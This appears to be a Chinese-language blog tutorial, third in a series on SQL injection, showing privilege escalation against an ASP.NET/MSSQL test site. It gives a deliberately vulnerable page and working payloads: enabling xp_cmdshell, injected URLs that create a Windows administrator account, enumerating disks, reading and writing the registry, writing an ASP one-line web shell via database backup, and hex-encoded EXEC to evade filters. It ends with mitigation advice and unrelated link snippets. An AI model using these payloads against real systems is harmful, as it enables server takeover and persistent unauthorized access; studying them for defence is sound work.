WEB 安全之 SQL注入 < 三 > 提权
SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解
攻击的全过程,就可以更好的预防类似情况的出现。
前两篇文章介绍了攻击者通过构造SQL语句来获得“非授权信息”,都是停留在数据库层面的,其实它的威力可不仅仅止于此吆。如果DB管理员有疏忽,再加上页面有注入漏洞,危害不仅仅像前两篇最终网站后台沦陷搞不好整个系统都有可能被人控制。
测试环境跟上一篇相同, MSQL + asp.net + win7。前面已经拿下了管理员用户名、密码,我们还是使用新闻详细页面 ( 方便测试,不设防 ):
public partial class NewsInfo : System.Web.UI.Page
{
protected NewsModel _news = new NewsModel();
protected void Page_Load(object sender, EventArgs e)
{
var id = Request["id"];
var sqlStr = "select * from news where id=" + id;
var sqlCon = SqlHelper.GetConnection();
try
{
var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);
if (ds.Tables[].Rows.Count <= ) return;
_news.Title = ds.Tables[].Rows[]["title"].ToString();
_news.Text = ds.Tables[].Rows[]["text"].ToString();
_news.CreateTime = ((DateTime)ds.Tables[].Rows[]["createTime"]).ToString("yyyy-MM-dd");
}
catch (Exception ex)
{
}
}
}
1. 添加系统用户
这里主要用到 xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
由于存在安全隐患,一般 xp_cmdshell 默认是关闭的。 如果要执行它首先要打开 xp_cmdshell 打开 xp_cmdshell 的语句
--- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE --关闭xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
打开之后就可以执行了,通过它能做的事情太多了,开启你的想象力,在这里我们看看添加用户 ,需要用到 net user 命令,的大致语法是这样的
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup /add administrators abc 将abc 添加到administrators 用户组中
net user guest 用guest用户登陆后用将密码改为12345
添加一个用户 可以构建一条SQL语句 Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add'。
在新闻详细页面URL地址里输入 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add' 刷新页面,看看系统里是不是多了一个test 用户。


把 test用户加入管理员组 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net localgroup /add administrators test' ,再看看。

test用户拥有管理员权限了。
2.遍历磁盘目录
对磁盘操作的语句如下
--获取驱动器
exec master.dbo.xp_availablemedia
-- 获得子目录列表
exec master.dbo.xp_subdirs 'c:\Users'; -- 获得所有子目录的目录树结构
exec master.dbo.xp_dirtree 'c:\';
-- 查看文件的内容
exec xp_cmdshell 'type D:\test.txt';
URL地址栏输入 http://localhost:833/news/newsInfo?id=12;create table diskpath(name nvarchar(255),lowfree nvarchar(255),highfree nvarchar(255),mediatype nvarchar(255)); 回车创建一张表保存磁盘信息

URL地址栏输入 http://localhost:833/news/newsInfo?id=12;insert diskpath exec master.dbo.xp_availablemedia; 磁盘信息插入表diskpath
在新闻列表页输入 http://localhost:833/index?cId=category1' union select 1,name,'3','2016-1-1','5' from diskpath -- 查看服务磁盘列表

同理可以遍历服务器磁盘结构
3.读取、修改注册表
操作注册表语法
--xp_regenumvalues 以多个记录集方式返回所有键值
--用法: xp_regenumvalues 注册表根键, 子键
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion' --xp_regread 返回制定键的值
--用法:xp_regread 根键,子键,键值名
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' --xp_regwrite 写入注册表
--用法:xp_regwrite 根键,子键, 值名, 值类型, 值 (值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' --xp_regdeletevalue 删除某个值
--用法:xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' --xp_regdeletekey 删除键,包括该键下所有值
--用法:xp_regdeletevalue 根键,子键
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
在这里就操作手法跟查看服务器磁盘信息类似,这里就不做相关演示了。想一想,注册表都能改了,开启远程桌面,查看远程桌面开放的端口....等等等等,不都是手到擒来的事情吗!
所以,为了安全,如果不需要,DB管理员一定要把相关敏感的存储过程删除。应用程序连接字符串里的用户,如果没有必要给个普通权限就好了,别动不动就把 sa 亮出来,安全为重!!
4.构建websell
这里构建websell其实是利用 sql 的 backup 功能往web程序目录下写一个备份文件,只不过是在备份文件的扩展名上做了手脚。
create table cmd (str image)
backup database SqlLinjection to disk = 'd:\cmd' with init
insert into cmd (str) values ('<%execute request("cmd")%>')
backup log SqlLinjection to disk='D:\SourceCode\SQLinjection\cmd.asp';
drop table cmd
这里生成了一个asp页面在网站目录里,里面写了经典的一句话木马,通过它攻击者就得到了websell。看看可以访问吗

具体这个小马怎么骑的,如果不清楚请自己 goole。
5.关于对字符的过滤
在前一篇文章 WEB 安全之 SQL注入 < 二 > 暴库 里,由于时间问题,还有小部分内容没写,在这里就补一下吧 (^.^) 。在文章最后一段管理员做了敏感字符的过滤,管理员过滤掉了空格,而攻击者通过 /**/ 来代替空格绕过了过滤字符。感觉很有成就感,呵呵呵呵。真实环境中管理员发现了漏洞不太可能只过滤掉空格的。你不是注入吗?我把单引号、等于号、空格 一起都过滤掉,看你怎么办。。其实没用的,我相信现在还存在仅仅把单引号替换双单引号的网站。其
实在第一篇文章 WEB 安全之 SQL注入<一> 盲注 里也说过,最好使用参数化查询和预编译查询语句来预防SQL注入,当然使用一些现成的框架也可以避免。通过过滤的手段要考虑周全,某一点没考虑到,就会被攻击者利用。
先看看这条SQL语句 DecLaRe @c vArchaR(8000);sEt @c=0x73656c656374204c454e282766776569776572272920;EXeC(@c);-- 猜猜看可以执行吗?看到这里大家都明白了吧。攻击者可以不用单引号来执行同带单引号语句有相同效果的命令,对付这样的语句如果过滤的话怎么做? (;@=0x 空格、关键字 通通都过滤掉吗? 这就安全了吗?不好说,谁知道还有哪些没想到呢。
结束语:知耻而后勇 知不足而奋进。 拒绝漏洞从我做起,网络安全程序猿有责。
WEB 安全之 SQL注入 < 三 > 提权的更多相关文章
- web安全学习(sql注入1)
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
- WEB 安全之 SQL注入 < 二 > 暴库
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- web安全之sql注入原理
sql注入的原理: 将(恶意)的SQL命令注入到后台数据库引擎执行的能力,把信息返回到页面 sql注入产生的原因: 过滤不严谨,导致产生的sql注入. sql注入产生的地方: ...
- Web安全 之 SQL注入
随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据 ...
- SQL注入(三)
邮给我一个密码 我们意识到虽然不能添加一条新的记录在members表中,但我们可以通过修改一个存在的记录, 这也获得了我们的证明是可行的. 从先前的步骤中,我们知道bob@example.com在系统 ...
- web安全之SQL注入
一.sql注入是一种将sql代码添加到输入参数中 传递到sql服务器解析并执行得一种攻击手法 例: $sql = "SELECT * FROM goods WHERE Id = 1" ...
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- Web安全0002 - SQL注入 - 注入流程
注:本文是学习网易Web安全进阶课的笔记,特此声明. 一.信息搜集 — 数据库类型 - 报错信息.特有语句— 数据库版本(@@version,$version)— 数据库用户— 判断数据库权限 二.数 ...
随机推荐
- curl常用操作
1.cURL介绍 cURL 是一个利用URL语法规定来传输文件和数据的工具,支持很多协议,如HTTP.FTP.TELNET等.最爽的是,PHP也支持 cURL 库.本文将介绍 cURL 的一些高级特性 ...
- 防止ViewPager中的Fragment被销毁的方法,更加流畅
在使用ViewPager与Fragment的时候,ViewPager会自动缓存1页内的数据,如下图: 当我们当前处在页面2的时候,页面1和页面3的View实际上已经创建好了,所以在我们拖动的时候是可以 ...
- IOS中的多线程之GCD
在ios中,使用多线程有三种方式,分别是:NSThread.NSOperation和NSOperationQueue.GCD,在本节,主要讲解一下CDD的使用. GCD(Grand Central D ...
- WPF笔记一
笔记内容: BUG.WPF运行窗体时调用Hide()方法,然后再Show()异常的解决方案 WPF 窗体设置为无边框 选择本地文件 选择文件夹 WPF实现右下角弹出消息窗口 WPF 显示 HTTP 网 ...
- Python: 收集所有命名参数
有时候把Python函数调用的命名参数都收集到一个dict中可以更方便地做参数检查,或者直接由参数创建attribute等.更简单的理解就是def foo(*args, **kwargs): pass ...
- nlog(n)解动态规划--最长上升子序列(Longest increasing subsequence)
最长上升子序列LIS问题属于动态规划的初级问题,用纯动态规划的方法来求解的时间复杂度是O(n^2).但是如果加上二叉搜索的方法,那么时间复杂度可以降到nlog(n). 具体分析参考:http://b ...
- python问题:IndentationError:expected an indented block错误解决
Python语言是一款对缩进非常敏感的语言,给很多初学者带来了困惑,即便是很有经验的Python程序员,也可能陷入陷阱当中.最常见的情况是tab和空格的混用会导致错误,或者缩进不对,而这是用肉眼无法分 ...
- 编写并发程序 Inversion
做完了 scala parallel 课程作业后,觉得 scala 写并发程序的便捷性是 java 永远都追不上的.scala 的Future 和 Promise,java 里 Future 和 Co ...
- 如何在终端实时展现git分支
在微博上看到ghosTM55在终端可以实时展现出当前运行的分支,觉得很奇特,于是google了一把.这里面存在两个内容,第一个bash,第二个是git bash基础: 了解到linux的shell存在 ...
- 公钥、私钥、CA认证、数字签名、U盾
感谢传智播客的方立勋老师,在一个教学视频上,他巧妙地以蒋介石给宋美龄写密信作为例子,生动地讲述了软件密码学知识. 加密分为对称加密和非对称加密,我们传统理解的,发送数据之前使用一个加密器加密,接到数据 ...